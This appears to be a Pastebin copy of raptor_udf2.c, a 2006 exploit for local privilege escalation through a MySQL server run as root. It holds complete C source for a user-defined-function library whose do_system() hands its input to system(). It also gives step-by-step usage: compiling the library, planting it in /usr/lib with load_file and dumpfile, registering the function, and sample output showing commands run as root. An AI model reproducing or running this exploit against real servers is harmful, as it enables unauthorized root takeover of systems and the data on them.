Guest User

Untitled

a guest
Sep 27th, 2016
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.30 KB | None | 0 0
  1. /*
  2. * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
  3. *
  4. * raptor_udf2.c - dynamic library for do_system() MySQL UDF
  5. * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
  6. *
  7. * This is an helper dynamic library for local privilege escalation through
  8. * MySQL run with root privileges (very bad idea!), slightly modified to work
  9. * with newer versions of the open-source database. Tested on MySQL 4.1.14.
  10. *
  11. * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
  12. *
  13. * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
  14. * for the security vulnerabilities in the handling of User Defined Functions
  15. * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
  16. * details, please refer to:
  17. *
  18. * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
  19. * http://www.wisec.it/vulns.php?page=4
  20. * http://www.wisec.it/vulns.php?page=5
  21. * http://www.wisec.it/vulns.php?page=6
  22. *
  23. * "UDFs should have at least one symbol defined in addition to the xxx symbol
  24. * that corresponds to the main xxx() function. These auxiliary symbols
  25. * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
  26. * xxx_add() functions". -- User Defined Functions Security Precautions
  27. *
  28. * Usage:
  29. * $ id
  30. * uid=500(raptor) gid=500(raptor) groups=500(raptor)
  31. * $ gcc -g -c raptor_udf2.c
  32. * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  33. * $ mysql -u root -p
  34. * Enter password:
  35. * [...]
  36. * mysql> use mysql;
  37. * mysql> create table foo(line blob);
  38. * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
  39. * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
  40. * mysql> create function do_system returns integer soname 'raptor_udf2.so';
  41. * mysql> select * from mysql.func;
  42. * +-----------+-----+----------------+----------+
  43. * | name | ret | dl | type |
  44. * +-----------+-----+----------------+----------+
  45. * | do_system | 2 | raptor_udf2.so | function |
  46. * +-----------+-----+----------------+----------+
  47. * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
  48. * mysql> \! sh
  49. * sh-2.05b$ cat /tmp/out
  50. * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
  51. * [...]
  52. *
  53. * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
  54. *
  55. */
  56.  
  57. #include <stdio.h>
  58. #include <stdlib.h>
  59.  
  60. enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
  61.  
  62. typedef struct st_udf_args {
  63. unsigned int arg_count; // number of arguments
  64. enum Item_result *arg_type; // pointer to item_result
  65. char **args; // pointer to arguments
  66. unsigned long *lengths; // length of string args
  67. char *maybe_null; // 1 for maybe_null args
  68. } UDF_ARGS;
  69.  
  70. typedef struct st_udf_init {
  71. char maybe_null; // 1 if func can return NULL
  72. unsigned int decimals; // for real functions
  73. unsigned long max_length; // for string functions
  74. char *ptr; // free ptr for func data
  75. char const_item; // 0 if result is constant
  76. } UDF_INIT;
  77.  
  78. int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
  79. {
  80. if (args->arg_count != 1)
  81. return(0);
  82.  
  83. system(args->args[0]);
  84.  
  85. return(0);
  86. }
  87.  
  88. char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
  89. {
  90. return(0);
  91. }
  92.  
  93. // milw0rm.com [2006-02-20]
Add Comment
Please, Sign In to add comment